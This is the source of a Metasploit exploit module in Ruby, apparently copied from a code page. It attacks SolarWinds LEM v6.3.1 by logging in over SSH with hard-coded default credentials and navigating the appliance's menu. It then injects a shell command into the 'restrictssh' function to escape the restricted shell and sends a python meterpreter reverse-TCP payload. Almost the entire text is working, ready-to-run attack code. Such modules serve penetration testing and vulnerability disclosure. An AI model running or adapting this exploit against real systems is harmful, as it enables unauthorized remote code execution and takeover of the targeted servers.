1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "SolarWind LEM Default SSH Password Remote Code Execution", 'Description'=> %q{ This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH service is accessed with the default username and password which is "cmc" and "password". By exploiting a vulnerability that exist on the menuing script, an attacker can escape from restricted shell. This module was tested against SolarWinds LEM v6.3.1. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>',# discovery & msf module ], 'References' => [ ['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/'] ], 'DefaultOptions' => { 'Payload' => 'python/meterpreter/reverse_tcp', }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets'=> [ ['Automatic', {}] ], 'Privileged' => false, 'DisclosureDate' => "Mar 17 2017", 'DefaultTarget'=> 0 )) register_options( [ Opt::RPORT(32022), OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]), OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]), ] ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def exploit factory = ssh_socket_factory opts = { :auth_methods => ['keyboard-interactive'], :port => rport, :use_agent => false, :config => false, :password => password, :proxy => factory, :non_interactive => true } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] print_status("#{rhost}:#{rport} - Attempting to login...") begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, username, opts) end rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials." rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh payload_executed = false print_good("SSH connection is established.") ssh.open_channel do |channel| print_status("Requesting pty... We need it in order to interact with menuing system.") channel.request_pty do |ch, success| raise ::RuntimeError, "Could not request pty!" unless success print_good("Pty successfully obtained.") print_status("Requesting a shell.") ch.send_channel_request("shell") do |ch, success| raise ::RuntimeError, "Could not open shell!" unless success print_good("Remote shell successfully obtained.") end end channel.on_data do |ch, data| if data.include? "cmc " print_good("Step 1 is done. Managed to access terminal menu.") channel.send_data("service\n") end if data.include? "service " print_good("Step 2 is done. Managed to select 'service' sub menu.") channel.send_data("restrictssh\n") end if data.include? "Press <enter> to configure restriction on the SSH service to the Manager Appliance" print_good("Step 3 is done. Managed to start 'restrictssh' function.") channel.send_data("*#<code>bash>&2</code>\n") end if data.include? "Are the hosts" print_good("Step 4 is done. We are going to try escape from jail shell.") channel.send_data("Y\n") end if data.include? "/usr/local/contego" if payload_executed == false print_good("Sweet..! Escaped from jail.") print_status("Delivering payload...") channel.send_data("python -c \"#{payload.encoded}\"\n") payload_executed = true end end end end ssh.loop unless session_created? end end end |